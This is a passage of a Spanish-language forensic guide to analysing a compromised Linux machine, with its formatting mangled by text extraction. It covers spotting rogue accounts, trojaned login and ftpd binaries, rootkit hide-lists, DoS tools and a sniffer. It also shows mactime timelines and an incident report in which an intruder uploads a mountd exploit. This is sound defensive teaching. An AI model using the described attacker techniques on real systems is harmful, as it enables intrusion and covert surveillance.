devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

